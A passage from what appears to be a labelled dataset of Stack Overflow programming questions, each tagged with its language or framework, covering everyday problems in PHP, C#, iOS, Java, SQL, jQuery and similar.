&lt;/itemseparatortemplate&gt; </code></pre>       on my code behind i tried the code below which doesn t work... and i tried different ways but can t find solution.   <pre><code>    listview listview2 = (listview)listview1.findcontrol( listview2 ); htmlgenericcontrol mydiv = (htmlgenericcontrol)listview2.findcontrol( imggallery ); mydiv.attributes.clear(); </code></pre>,asp.net
run script in background(shell_exec) fails on composer/php-di function  i run that script manually and everything works     <pre><code>$container = require  ../config/bootstrap.php ;      try {        $test  = $container-&gt;get(test::class);        $test-&gt;run();      }     catch(\exception $e) {         echo  $e-&gt;getmessage() .  \n ;         die;     } </code></pre>   but when i call that file from another folder like the following :   <pre><code>$script = __dir__ . /folder/test-service.php ; $output = shell_exec( php  .$script); var_dump($output); </code></pre>   i get the following error:    fatal error: require(): failed opening required  ../config/bootstrap.php  (include_path= .: ) in /anotherfolder/folder/test-service.php on line 13    and also after that  i got a lot of error that files do not exist.     bootstrap.php include the class mapping of php-di     require  ../vendor/autoload.php ;   <pre><code>use di\containerbuilder; $containerbuilder = new containerbuilder; $containerbuilder-&gt;adddefinitions(__dir__ .  /config.php ); $container = $containerbuilder-&gt;build(); return $container; </code></pre>,php
stringbuilder crash with argumentoutofrangeexception  i have a crash in event viewer with this:   <pre><code>exception info: system.argumentoutofrangeexception    at system.text.stringbuilder.tostring()    at xxx.brainactions+&lt;&gt;c__displayclass11_0.&lt;runapp&gt;b__0(system.object   system.eventargs) </code></pre>   the offending code is this  why is stringbuilder causing this exception    <pre><code>       process process = new process();         stringbuilder builder = new stringbuilder();          try         {             process.startinfo.createnowindow = true;             process.startinfo.useshellexecute = false;             process.startinfo.windowstyle = processwindowstyle.hidden;             process.startinfo.filename = filename;             process.startinfo.arguments = arguments;             process.startinfo.workingdirectory = themes.getinstance().getscriptpath();             process.startinfo.redirectstandardoutput = true;             process.startinfo.redirectstandarderror = true;             process.enableraisingevents = true;             process.exited += new eventhandler((object sender  system.eventargs e) =&gt; {                 string consoleoutput = builder.tostring();                 if (!string.isnullorwhitespace(consoleoutput))                 {                     log.info( xxx   string.format( console output: {0}   builder.tostring()));                 }                 processesrunning.remove(process);                 if (callbacks != null)                 {                     callbacks.actioncompleted(action);                     if (processesrunning.count == 0)                     {                         callbacks.allactionscompleted();                     }                 }             });             process.start();             process.priorityclass = processpriorityclass.high;             process.outputdatareceived += (sender  args) =&gt; builder.append(args.data);             process.errordatareceived += (sender  args) =&gt; builder.append(args.data);             process.beginoutputreadline();             process.beginerrorreadline();             processesrunning.add(process);         }         catch (exception e)         {         } </code></pre>   stringbuilder is used to basically get the output of the external process and log it to the console using log4net which is basically wrapped in the log() function. any ideas  note that this crash rarely happens i ve only seen it once but once is a reason to fix it.,c#
what is a .net developer   i have been noticing that some software engineering jobs are asking for .net developers  but i have never been given a definition (formal or informal) of what experience is required to be able to call yourself a .net developer.    i have taken a couple classes where we needed to make windows forms every other week using visual studio  but i am pretty sure this is not sufficient.  i m assuming you need to be familiar with most if not all technologies on the <a href= http://msdn.microsoft.com/en-us/netframework/default.aspx  rel= noreferrer >.net framework developer center </a>  but i could be wrong  which is why i am asking.  :-)    so  what skills do you need to be able to market yourself as a .net developer   or more specifically  what do employers expect you to know if you market yourself as a .net developer,.net
"how to make static expandabletextview to dynamic expandaletextview  i create a static expandaletextview in this example i used two textview and two imagebutton so now how to i make this dynamic expandable..any one can help me please because i m very new in android... here below is my full static source code  thanks in advance   <pre><code>mainactivity class  package com.example.atextalignment;  import android.app.activity; import android.os.bundle; import android.view.view; import android.view.view.onclicklistener; import android.widget.button; import android.widget.imagebutton; import android.widget.textview;   public class mainactivity extends activity {      textview desctext;      imagebutton show  hide;       @override      public void oncreate(bundle savedinstancestate) {       super.oncreate(savedinstancestate);       setcontentview(r.layout.activity_main);        desctext = (textview) findviewbyid(r.id.description_text);       show = (imagebutton) findviewbyid(r.id.show);       show.setonclicklistener(new onclicklistener() {         @override        public void onclick(view v) {         system.out.println( show button );         show.setvisibility(view.invisible);         hide.setvisibility(view.visible);         desctext.setmaxlines(integer.max_value);         }       });       hide = (imagebutton) findviewbyid(r.id.hide);       hide.setonclicklistener(new onclicklistener() {         @override        public void onclick(view v) {         system.out.println( hide button );         hide.setvisibility(view.invisible);         show.setvisibility(view.visible);         desctext.setmaxlines(5);         }       });       }      } </code></pre>     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>my xml layout
 
 &lt;relativelayout xmlns:android= http://schemas.android.com/apk/res/android 
     xmlns:tools= http://schemas.android.com/tools 
     android:layout_width= match_parent 
     android:layout_height= match_parent 
     tools:context= com.example.atextalignment.second  &gt;
 
     &lt;textview
         android:id= @+id/textview2 
         android:layout_width= wrap_content 
         android:layout_height= wrap_content 
         android:text= @string/hello_world  /&gt;
 
     &lt;textview
         android:id= @+id/description_text 
         android:layout_width= match_parent 
         android:layout_height= wrap_content 
         android:layout_below= @+id/textview2 
         android:maxlines= 5 
         android:text= @string/desc_content  /&gt;
 
     &lt;imagebutton
         android:id= @+id/show 
         android:layout_width= wrap_content 
         android:layout_height= wrap_content 
         android:layout_alignparentright= true 
         android:layout_below= @+id/description_text 
         android:background= @android:color/transparent 
         android:clickable= true 
         android:src= @drawable/ic_launcher /&gt;
 
     &lt;imagebutton
         android:id= @+id/hide 
         android:layout_width= wrap_content 
         android:layout_height= wrap_content 
         android:layout_alignparentright= true 
         android:layout_below= @+id/description_text 
         android:clickable= true 
         android:src= @drawable/ic_launcher 
         android:visibility= invisible  /&gt;
 
 &lt;/relativelayout&gt;</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>string.xml
 
 &lt;string name= desc_content &gt;     android powers hundreds of millions of mobile devices in more than 190 countries around the world. it\ s the largest installed base of any mobile platform and growing fast—every day another million users power up their android devices for the first time and start looking for apps  games  and other digital content.
 
 android gives you a world-class platform for creating apps and games for android users everywhere  as well as an open marketplace for distributing to them instantly.
 &lt;/string&gt;</code></pre>
 </div>
 </div>",android
event  onpopstate  vs  onhashchange   i would like my script triggers a function when the hash changes or when the user navige in its history. when i associate the two events to the same function  the events <code>onpopstate</code> and <code>onhashchange</code> fire both when the hash changes  making a double call of my function.    which is better to keep  <code>onpopstate</code> or <code>onhashchange</code>,javascript
struct and rand()  i have a struct with an array of 100 int (b) and a variable of type int (a)    i have a function that checks if the value of  a  is in the array and i have generated the array elements and the variable with random values.    but it doesn t work can someone help me fix it    <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;time.h&gt;  typedef struct {     int a;     int b[100]; } h;  int func(h v){     int i;      for (i=0;i&lt;100;i++){         if(v.b[i]==v.a)              return 1;         else              return 0;     }  }  int main(int argc  char** argv) {     h str;     srand(time(0));      int i;     for(i=0;0&lt;100;i++){         str.b[i]=(rand() % 10) + 1;     }     str.a=(rand() % 10) + 1;     str.a=1;      printf( %d\n  func(str));      return 0; } </code></pre>,c
c# 3 operand in a statement  i am writing the following codes   <pre><code>int a = 10; int b = 12; int c = 14; int e = 18; bool d = false;  a = b = c;            //output console.writeline(a); //14 console.writeline(b); //14 console.writeline(c); //14   d = a != b;            //output console.writeline(d); //false  d = a == b;           //output         console.writeline(d); //true  a = b = c = e;        //output   console.writeline(a); //18 console.writeline(b); //18 console.writeline(c); //18 console.writeline(e); //18 </code></pre>   i am unable to understand  how it works     as we know that in c# if we are using more than two operands and more than one operator without any parentheses i.e ( and ) then.    <strong>case: 1 if operators’ precedence is different</strong>     the operation will be performed on the basis of operator precedence.    e.g. 2+2/2 result will be 3 because the statement will be  2+ (2/2)    <strong>but if operator precedence are same</strong> for two or more than two operators then how is it processed,c#
nsstring  nil or empty  check -- is this complete   i was writing a small category on nsstring  and i wanted to know if this method is accurately handles all potential use cases:    <strong>update:</strong> to clarify -- i wanted to make sure i m not missing some oddball case involving character encodings  etc..   <pre><code>@implementation nsstring (helpers)  +(bool)stringisnilorempty:(nsstring*)astring {     if (!astring)         return yes;     return [astring isequaltostring:@  ]; } @end </code></pre>   sample usage:   <pre><code>-(void) sampleusage {     nsstring *emptystring = @  ;     nsstring *nilstring = nil;     nsassert([nsstring stringisnilorempty:nilstring] == yes  @ string is nil/empty );     nsassert([nsstring stringisnilorempty:emptystring] == yes  @ string is nil/empty ); } @end </code></pre>,objective-c
"css border-image gradient on one side   the following css produces a gradient border on the left &amp; right side of an element:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>div {
     width: 100px;
     height: 100px;
     border-left: 10px solid;
     border-image: linear-gradient(#00f #000) 0 100%;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div&gt;&lt;/div&gt;</code></pre>
 </div>
 </div>
     <a href= http://jsfiddle.net/5p8cv5t9/  rel= nofollow >http://jsfiddle.net/5p8cv5t9/</a>    how can i apply the gradient only to the left side",css
multiple projects with common assemblies in .net  i have a solution with multiple projects. each project is using an assembly that is coppied to their corresponding output directories after build. most of these projects have a common dll. for example projecta.dll is used by projectb  projectc  and projectd. is it possible to simply put projecta.dll into one central folder and let the other class library projects point to it  i know about gac but they say that you should only use it if multiple applications use a particular assembly.    edit: when deployed  i want the following structure:   <pre><code>bin -&gt; projecta.dll -&gt; other projects ----&gt; projectb.dll ----&gt; projectc.dll myproject.exe </code></pre>   will projecta.dll still be referenced properly by projectb.dll and projectc.dll,.net
how can i get an image from one div and put it in an image tag   i need some help. how can i get an image from one div and put it in an image tag with j query  i mean some thing like this:   <pre><code>$( .myclass ).click(function(){     //put image from div1 to img 1         }); </code></pre>,jquery
ios touch coordinate system <blockquote>   <ul>   <li>locationinview: returns the current location of the receiver in the coordinate system of the given view.</li>   </ul>       this method returns the current location of a uitouch object in the   coordinate system of the specified view. because the touch object   might have been forwarded to a view from another view  this method   performs any necessary conversion of the touch location to the   coordinate system of the specified view.  </blockquote>  <pre><code>    - (void)sendevent:(uievent *)event     {         if([event type] == uieventtypetouches)         {             nsset&lt;uitouch *&gt; *alltouches = [event alltouches];             if(alltouches)             {                 for(uitouch* touch in alltouches)                 {                     if([touch type] == uitouchtypedirect)                     {                          // this is 640x1136                          cgrect bounds = [mywindow bounds];                           // this is in [318x560] empirically                           cgpoint origin = [touch locationinview:mywindow];                     }                 }                 }             }     } </code></pre>   can anyone explain     from questions:   <ol> <li>testing on a physical iphone 6 device.</li> <li>mywindow is the application s main window. created with <code>mywindow = [[mywindow alloc] initwithframe:[[uiscreen mainscreen] nativebounds]];</code> during <code>application: application didfinishlaunchingwithoptions: launchoptions</code></li> <li>mywindow has no subviews. only a <code>caeagllayer</code> layer</li> </ol>,ios
avspeechsynthesizer avspeechutterance can t work on the iphone 5s with ios9.2.1(13d15) or ios9.1.1  i want to make a simple tts(texttospeech) on <code>ios</code> with <code>avfoundation/avfoundation.h</code> and i tried to go with <code>avspeechsynthesizer avspeechutterance</code>.     however the iphone 5s with <code>ios9.2.1(13d15)</code> or <code>ios9.1.1</code> can t speech the text and without any voice. at the same time  it can work on iphoto 6 or 6plus with <code>ios9.2.1</code>.    who can tell me the reason about that  (i build the app with xcode 7.2) thanks!,ios
is it possible to set property object variable in another class in iphone   i have a property in my uiview class  something like that:    myview.h   <pre><code>@ interface myview: uiview {  id refview;  }  @property (nonatomic  retain) id refview; </code></pre>   myview.m   <pre><code>@synthesis refview; </code></pre>   then in another class can i set the refview property of myview something like that:    myviewcontroller.h    <pre><code>@interface myviewcontroller: uiviewcontroller {  uiview *myview;  }  @property (nonatomic  retain) iboutlet uiview *myview; </code></pre>   then in myviewcontroller.m:   <pre><code>[self.myview setrefview:somevalue]; </code></pre>   when i do that i get this warning: uiview may not response to  -setrefview:  ...    so  is the above way is right or what s the right way to do it. any help and explanation would be greatly appreciate it. thanks.,iphone
can i know if a user removes notification from notification center   as the title states  can i possibly know if an ios user removes or clear notifications for my app in the notification center  i only want to know for tracking purposes.,ios
jquery s show animation  does anyone know how to invert the <code>show( slow )</code> animation on jquery  i want it to look like it is going backwards.    thanks for any answers!,jquery
sum values with given key in php   given this array:    <pre><code>array(40) {   [0]=&gt;   array(10) {     [ item ]=&gt;     string(5)  aabbcc      [ quants ]=&gt;     string(1)  1    }   [1]=&gt;   array(10) {     [ item ]=&gt;     string(5)  aabbcc      [ quants ]=&gt;     string(1)  1    }     [2]=&gt;   array(10) {     [ item ]=&gt;     string(5)  slf02      [ quants ]=&gt;     string(1)  1     }   [3]=&gt;   array(10) {     [ item ]=&gt;     string(5)  slf02      [ quants ]=&gt;     string(1)  3    } } </code></pre>   how without using a foreach do i end up with this output:    <pre><code>  array(40) {     [0]=&gt;     array(10) {       [ item ]=&gt;       string(5)  aabbcc        [ quants ]=&gt;       string(1)  2      }     [1]=&gt;     array(10) {       [ item ]=&gt;       string(5)  slf02        [ quants ]=&gt;       string(1)  3      }     } </code></pre>   are there any array_sum functions to do this with a multidimensional array like this in php,php
how to get images to collectionviewcells from gallery   hi i can getting the image from gallery but which is not display into collection view.i have written code like this   <pre><code>- (void)viewdidload {  picker=[[uiimagepickercontroller alloc]init]; self.collectionview.delegate = self; self.collectionview.datasource = self; [self.collectionview registernib:[uinib nibwithnibname:@ mycell  bundle:nil] forcellwithreuseidentifier:@ cell ];  } - (ibaction)galleryclicked:(id)sender {  nslog(@ galleryclicked );  picker.sourcetype = uiimagepickercontrollersourcetypephotolibrary; picker.delegate = self; [picker setallowsediting:yes]; [self presentviewcontroller:picker animated:yes completion:nil];  }  -(void)imagepickercontroller:(uiimagepickercontroller *)picker didfinishpickingmediawithinfo:(nsdictionary *)info  { inputimage= info[uiimagepickercontrollereditedimage]; nslog(@ inputimage is :%@  inputimage); [picker dismissviewcontrolleranimated:yes completion:nil]; - (nsinteger)collectionview:(uicollectionview *)collectionview numberofitemsinsection:(nsinteger)section { return 100; }  - (mycell *)collectionview:(uicollectionview *)collectionview cellforitematindexpath:(nsindexpath *)indexpath {  mycell *cell = [collectionview dequeuereusablecellwithreuseidentifier:@ cell  forindexpath:indexpath];    uiimageview *recipeimageview = (uiimageview *)[cell viewwithtag:100]; uilabel *desclabel = (uilabel *)[cell viewwithtag:110]; self.recipeimageview.image = inputimage;     return cell; } </code></pre>   please anybody suggest me how to to do this .help is much appreciated.,ios
get multiple unique random rows for tags in mysql from one reference table  i have one table where references between tags and items are stored in my database  in the form   <pre> id - tagid - itemid 1  -  1    -   1 2  -  2    -   1 3  -  1    -   2 4  -  3    -   2 5  -  4    -   2 </pre>   etc    i have as input the current itemid  and i want to select one other random item id for each tag this item has.    the obvious way is to run one query to select the tags of this item  and then one query for each of those tags to select a different itemid for each tag.    for example for the itemid  1    <pre><code>select tagid from mytags where itemid=1 </code></pre>   and then foreach tagid  x    <pre><code>select itemid from mytags where tagid=  x  and itemid!=1 </code></pre>   but if an item has 10 tags  this will result in 11 queries just for this part of my application.     i am trying to find a way to run a single sql to get the same results.     a good start is the following   <pre><code>select tagid  itemid from `mytags` where tagid in ( select tagid                  from `mytags`                  where itemid =1 ) and itemid !=1 </code></pre>   but this returns all the other rows for the tags of this item  while i want only one of them.     anyone has any great ideas     thanks,mysql
virtual functions in c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3113583/how-could-one-implement-c-virtual-functions-in-c >how could one implement c++ virtual functions in c</a>    </blockquote>     in c++ the only difference between a class and a struct is the default access level. so you can have virtual functions in structures  inherit from structures and so on. my question is  can you also do this in c,c
mysql - how to select users who have similar info (like a shared phone number)  just for an example. how can i query my db to find two users who might be using the same phone number  i m not inputting a specific number but i want to find all instances phone numbers that are being used more than once in the user table.,mysql
jquery callback function issue  i am trying to create hover effect with callback function.  it seems that the effect can only be trigged on the callback function but not the init hover. i was wondering if someone here can help me out. thanks a lot.   <pre><code>$( img ).live( hover   function () {     // hover in     $(this).css( z-index   1);     $(this).animate({         height:  35%           width:  35%           left:  -=50           top:  -=50      }   fast ); }  function () { //only the following codes will be triggered.     // hover out     $(this).css( z-index   0);     $(this).animate({         height:  15%           width:  15%           left:  +=50           top:  +=50      }   fast ); }); </code></pre>   the img are generated via ajax call  not sure if it s relevant   <pre><code>&lt;div id= image_layout &gt;     &lt;img src= a.jpg  /&gt;     &lt;img src= b.jpg  /&gt;     &lt;img src= c.jpg  /&gt; &lt;/div&gt;   </code></pre>,jquery
update a value in a table which has a foreign which requires a join  what is the elegant solution (efficient)  i have two tables x and y:   <ul> <li>x has columns id (primary key)  name</li> <li>y has a foreign key to x referencing the id column.</li> </ul>   i can only get the name value from an input as related to x.    i need to update y a value in y    i do not want to hit the database twice; that is : to get the id value in x by matching the name value and return this to be used in the update of y  via where    how do i write this sql query  is there a complex query i can write      any help would be great.,sql
not able to dropshadow of the view if making one corner round  i am using this code to make a view with one corner round :   <pre><code>-(ibaction)gotospecificpage:(uibutton *)sender {   skipbuttonbackgroundview = [[uiview alloc] initwithframe:cgrectmake(self.view.bounds.size.width-400  0.0f  400.0f  55.0f)];      uicolor *backgroundcolor = [uicolor colorwithred:0.85098039215 green:0.85098039215 blue:0.85098039215 alpha:1];      skipbuttonbackgroundview.backgroundcolor = backgroundcolor;             uibezierpath *maskpath = [uibezierpath bezierpathwithroundedrect:skipbuttonbackgroundview.bounds byroundingcorners:uirectcornerbottomleft                                                      cornerradii:cgsizemake(10.0  10.0)];         // create the shape layer and set its path      cashapelayer *masklayer = [cashapelayer layer];         masklayer.frame = skipbuttonbackgroundview.bounds;         masklayer.path = maskpath.cgpath;         skipbuttonbackgroundview.layer.mask = masklayer;         [self.view addsubview:skipbuttonbackgroundview];  // drop shadow     } </code></pre>   but i am not able to drop shadow of the view.    thanks...,ios
how to access particular item in array using $index (angular)  this seems like it should be so simple but my brain is exploding. this is what i am trying to achieve using angular  i have my shopping list   <pre><code>app.controller( destroyer   function($scope) {     $scope.shoppinglist = [       {name:  milk }        {name:  eggs }        {name:  bread }        {name:  cheese }        {name:  ham }     ];  }); </code></pre>   in my template i want to access the the the 3rd item for example   <pre><code>{{ shoppinglist.name[$index == 2] }} </code></pre>   how do i do this  thanks    edit: answer {{ shoppinglist[2].name }},angularjs
generating fontmetrics from java  am working on generating font metrics on server-side by giving ttf file as input.    iam trying to font   fontrendercontext   glyphvector and glyphmetrics classes.i have also tried apache fop but the metrics generated are not help me.    would like to know if the following operations are possible    <ol> <li>given unicode   how do i know if this has an independent glyph or it has to be compounded with another glyph etc.</li> <li>is it possible to generate font metrics with all these details and use it for calculating my line width</li> <li>how do i know if a glyph is a ligature and how can i get the glyph width post rendering </li> <li>can i assume that a compounded glyph will always appear to the right </li> </ol>   any pointers to these will help,java
postibility to use unlocked iphone for developement  i was living in india  and i got a iphone device from usa (provider at&amp;t). i need to use it for development.in this regard i have couple questions    <ol> <li>if i unlock the mobile  is it works for the development </li> <li>if i use my local provider sim to that iphone  for that do we need to unlock the mobile </li> </ol>   please suggest me     thanks in advance  chandra.,iphone
parameters not found for ror 4 controller  i have a ror 4 application that i use as a backend api. i am trying to implement pagination when search for users  so i defined the following method in my controller:   <pre><code>  def search     params[ page ] = 1 if params[ page ].nil      pagenumber = params[ page ]      params[ size ] = 10 if params[ size ].nil      users = user.filter(filtering_params)     number_of_users = users.count     response = {       number_of_users: number_of_users        users: users.paginate(page: pagenumber  size: params[ size ])     }     respond_with response   end     def filtering_params     params.slice(:_s)   end </code></pre>   the problem is that my application always returns 1 as pagenumber  even when i add a argument  page=2 for example. do you guys have an idea what could be wrong,ruby-on-rails
second output must be true but it shows false  i have to determine which rooms are larger and my codes are:   <pre><code>public class apartment {      private int room;     private int squaremeters;     private int pricepersquaremeter;      public apartment(int rooms  int squaremeters  int pricepersquaremeter) {         this.room = room;         this.squaremeters = squaremeters;         this.pricepersquaremeter = pricepersquaremeter;     }      public boolean larger(apartment otherapartment) {         if (this.room &gt; otherapartment.room) {             return true;         }         return false;     }      public static void main(string[] args) {         apartment studiomanhattan = new apartment(1  16  5500);         apartment tworoomsbrooklyn = new apartment(2  38  4200);         apartment fourandkitchenbronx = new apartment(3  78  2500);          system.out.println(studiomanhattan.larger(tworoomsbrooklyn));         system.out.println(fourandkitchenbronx.larger(tworoomsbrooklyn));     }  } </code></pre>   output:    <pre><code>false false </code></pre>   first output as you see is false  it is okay  second one is also false  but when we read these codes  we can easily see that second room must be true. and in this exercise we should get the output as following:   <pre><code>false true </code></pre>   can you explain where i mistake  with which ways may i achieve the correct output,java
sql exception (incorrect syntax near  ) .)  what is the above error please correct it      <pre><code>string cmd = @ select * from [tbl_students] where course_id=@courseid                 and   branch_id in(  + branchid + @ )                 and  (@firstyrpercent is null or first_year_percent&gt;=@firstyrpercent                and  (@secondyrpercent is null or second_year_percent&gt;=@secondyrpercent)                and  (@thirdyrpercent is null or third_year_percent&gt;=@thirdyrpercent)                and  (@finalyearpercent is null or final_year_percent&gt;=@finalyearpercent)                and  (@currentdegeepercentage is null or current_degree_percent&gt;=@currentdegeepercentage)                and  (@passoutyear is null or passing_year&gt;=@passoutyear)                 and  (@currentbacklog is null or current_backlog&lt;=@currentbacklog)                and   gender=@sex                 and  (@egap is null or gapin_education&lt;=@egap)                and  (@highschoolpercentge is null or highschool_percentage&gt;=@highschoolpercentge)                and  (@higherschoolpercentage is null or ssc_percentage&gt;=@higherschoolpercentage)                and  (@grauationpercentage is null or graduation_percentage&gt;=@grauationpercentage)                and  (@diplomapercentage is null or diploma_percentage&gt;=@diplomapercentage)                and  (@noofatkt is null or number_of_atkt&lt;=@noofatkt)                and  (@date is null or dob&gt;=@date) ; </code></pre>,sql
$_get[] only needs to run at certain times  <strong>scenario</strong>: i am currently writing an authentication function for a login page that sends an email to the user  you then click the email and it passes a link that sends them to login along with a uuid attached which verifies their account to be usable.    <strong>problem</strong>: my problem is that this page can also be reached by just opening the website  and their is no $auth variable passed. i need to be able to only get auth if it was passed the variable in the url. i need a way for my if statement to check if an auth variable was passed in the url.    <strong>code</strong>:   <pre><code>if($_get[  auth  ]){     $auth = $_get[  auth  ];     } else{     $auth=null; }  $db = new database(); if($auth != null){     $check = $db-&gt;authenticate($auth);     if($check != null){         $error = $check;     } } </code></pre>   ...,php
how to set precision for complex numbers in c++  i have the following code where i need to add two complex numbers. formula is working  however  i am not able to get rid of the scientific notation. i m new to c++  and not sure how to use setprecision.    my code in .hpp:   <pre><code>    class complexnumber     {     public:  //--constructors     complexnumber();     complexnumber(double r  double i);     complexnumber(const complexnumber &amp;cn);      void print();     complexnumber add(const complexnumber &amp;rhs);     private:         double re  im;     }; </code></pre>   my code in .cpp file   <pre><code>//--constructors complexnumber::complexnumber() {  } complexnumber::complexnumber(double r  double i) {  } complexnumber::complexnumber(const complexnumber &amp;cn) {  }      void complexnumber::print()     {         std::cout &lt;&lt; this-&gt;re &lt;&lt;   +   &lt;&lt; this-&gt;im &lt;&lt;  i  &lt;&lt; std::endl;     }      complexnumber complexnumber::add(const complexnumber &amp;rhs)     {         return complexnumber(this-&gt; re + rhs.re  this-&gt;im + rhs.im);     } </code></pre>   my main:   <pre><code>int main(int argc  const char * argv[]) {     complexnumber a(1 2);     complexnumber b(3 4);     complexnumber c;      c = a.add(b);     c.print();     return 0; } </code></pre>   output: 4.94066e-324 + 6.95322e-310i    it should be 4 + 6i,c++
how not to get a comma on the output  <pre><code>    numberformat df = numberformat.getnumberinstance();     df.setmaximumfractiondigits (2);     df.setminimumfractiondigits (2);      double[] floatvalues = new double[5];     string input;      input = stdin.readline();     string[] floatvalue = input.split( \\s+ );            while (letter !=  q  &amp;&amp; letter !=  q ){         for (int i = 0; i &lt; floatvalue.length; ++i){         floatvalues[i] = double.parsedouble (floatvalue[i]);          system.out.println( lwl:  + df.format((floatvalues[1])));         system.out.println( hull speed:  + df.format(1.34 * math.sqrt(floatvalues[1]))); </code></pre>   this is part of the code  i m suppose to input 5 numbers like: 34.5 24.0 10.2 11200 483. my program runs perfectly  the only problem is that the output is suppose to be 11200 and i get 11 200. how do i get it to not output the comma. thank you.,java
can not send email from **host-gator** using php mail function code  i trying to send an email from php using php <code>mail()</code> function. each time when i try to send an email it displays the error message.i don t know what went wrong.here is my code. can anyone tell me what went wrong     <pre><code>$message =  &lt;html&gt;&lt;body&gt; ;     $message .=  &lt;table rules= all &gt; ;     $message .=  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;name: ramya&lt;/strong&gt; &lt;/td&gt;&lt;/tr&gt; ;     $message .=  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;email: ramyaroy&lt;/strong&gt; &lt;/td&gt;&lt;/tr&gt; ;     $message .=  &lt;/table&gt; ;     $message .=  &lt;/body&gt;&lt;/html&gt; ;             $to =  ramya@example.com ;     $email= vinay@example.net ;      $subject =  website change reqest ;      $headers =  from: .$email.php_eol;     $headers .=  reply-to: .$email.php_eol;     $headers .=  mime-version: 1.0 .php_eol;     $headers .=  content-type: text/html; charset=iso-8859-1 .php_eol;      if (mail($to  $subject  $message  $headers)) {       echo  your message has been sent. ;     } else {       echo  there was a problem sending the email. ;     } </code></pre>,php
microsoft query sql query question  i am completely new to microsoft query.     i have the following tables defined:   <pre><code>fleet_masters table         - reg_no - fms_id  odometers table                            - odo_id  - fms_id  odometers_reading table - odo_id           - odo_reading - odo_reading_date - odo_reading_type </code></pre>   i need these information:   <pre><code>reg_no  odo_reading  max(odo_reading date)  odo_reading_type  </code></pre>   but from one <code>reg_no</code>  there may be multiple <code>odo_reading</code> and <code>odo_reading date</code>  i just need the <code>odo_reading</code> with the most recent <code>odo_reading date</code>.,sql
determining which version of a layout was set / loaded  i ve got two versions of an activity layout  one for landscape and a default (portrait) version.   in the code below  after setcontent  i want to do some condition code depending upon what layout was loaded.  eventually it might not just be as simple as looking at the orientation  there might be more layouts dependent upon screen size  etc.  just trying to figure out which version of the layout it has loaded without trying to write the same conditional logic myself.   <pre><code>override fun oncreate(savedinstancestate: bundle ) {     super.oncreate(savedinstancestate)     setcontentview(r.layout.activity_main) </code></pre>   <a href= https://i.stack.imgur.com/waiha.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/waiha.png  alt= enter image description here ></a>,android
how to display uiactivityindicator in uitableview on iphone  i struggled almost 1 hour but i couldn t  figure it out as how to display uiactivity indicator in uitableview as i cant use ib in uitableview(its not dragging) on iphone    i used this and its working  but i want to display in viewdidload    <pre><code>- (uiview *)tableview:(uitableview *)tableview viewforheaderinsection:(nsinteger)section {  //loadingview =[loadingview loadingviewinview:[self.view.window.subviews objectatindex:0]];//.window.subviews     nslog(@ dgdddddddddddddddddddd );     uiview* customview = [[uiview alloc] initwithframe:cgrectmake(130  10  25  25)];      //uiview* customview = [[uiview alloc] initwithframe:cgrectmake(0.0  30.0  320.0  60.0)];     activityview.center=customview.center;     [activityview startanimating];     [ customview bringsubviewtofront:activityview];     [customview addsubview:activityview];// [headerlabel release];      return [customview autorelease];        } </code></pre>   kindly suggest,iphone
how do i prevent a variable from continuously adding in a loop in python  <pre><code>prob=1 classsize=1 for i in range(classsize):     prob=prob*(365-i)/365     if prob&lt;0.1:        print(classsize)     elif prob&gt;0.1:        classsize+1 </code></pre>   what i want this code to do is add one unit on to <code>classsize</code> and check if <code>prob&lt;0.1</code>. if the statement is false i want the code to continue this cycle until <code>prob&lt;0.1</code> and print the value of <code>classsize</code>.,python
file_get_contents(): open_basedir restriction in effect  i got a strange error message:    <blockquote>    file_get_contents(): open_basedir restriction in effect.   file(/path/to/file) is not within the allowed path(s):    (/library/webserver:/var/tmp:/path/to)  </blockquote>   as seen  the path to the file has been added in the allowed paths  why does open_basedir restriction remain in effect,php
eliminating comments from a code of sourcecode file and printing the code(without the comments in the file)  <strong>for example  consider the following text:</strong>   <pre><code>import java.util.*;  /* my program by           */ public class program {    public static void main(string[] args) {       system.out.println( hello  world! ); // a println    }     public static /* hello there */ void foo() {       system.out.println( goodbye! ); // comment here    } /* */ } </code></pre>   if the file contained this text  the program should output the following text:   <pre><code>import java.util.*;  public class program {    public static void main(string[] args) {       system.out.println( hello  world! );    }     public static  void foo() {       system.out.println( goodbye! );    } } </code></pre>   <strong>well i wrote the code for it and named a function called <code>stripcomments</code> which accepts a scanner input of the file in question :</strong>   <pre><code>public void stripcomments(scanner input){      while(input.hasnextline()){         boolean flag=false;          string scan=input.nextline();         scanner line=new scanner(scan);         while(line.hasnext()){              string token=line.next();             if(token.equals( /* )){                 while(line.hasnext()){                      if(line.next().equals( \\* )){                         token=line.next();                         flag=true;                         break;                     }                 }                 if(!flag){                     while(input.hasnextline()){                         scan=input.nextline();                         line=new scanner(scan);                           while(line.hasnext()){                              token=line.next();                             if(token.equals( *\\ )){                                  token=line.next();                                 flag=true;                                 break;                             }                         }                      }                  }             }             else{                 system.out.print(token+   );              }           }         system.out.println();       }  } </code></pre>   however the output that is produced is :   <pre><code>import java.util.*;  </code></pre>   that s it!!!!      can anybody point out where i went wrong,java
delete uploaded files  i m building a web site  using php on a linux machine. the client can upload files that i move to a permanent location. obviously the server cannot contain the files forever.    i m thinking about using a script that will erase files older than a few hours.    how can i accomplish this     thanks <br> tzvi.,php
using foreach to loop more than two list<string>  i m trying to loop five list by merging them.    i know that this works fine   <pre><code>var zipped = letters.zip(numbers  tuple.create);   foreach (var tuple in zipped)  {      console.writeline(tuple.item1);      console.writeline(tuple.item2);  } </code></pre>   but i m wondering i can use that same method  but with more list included.    let s say i have the list <code>numbers</code>  <code>letters</code>  <code>words</code>  <code>pictures</code> and <code>songs</code>     how whould that loop look like then,c#
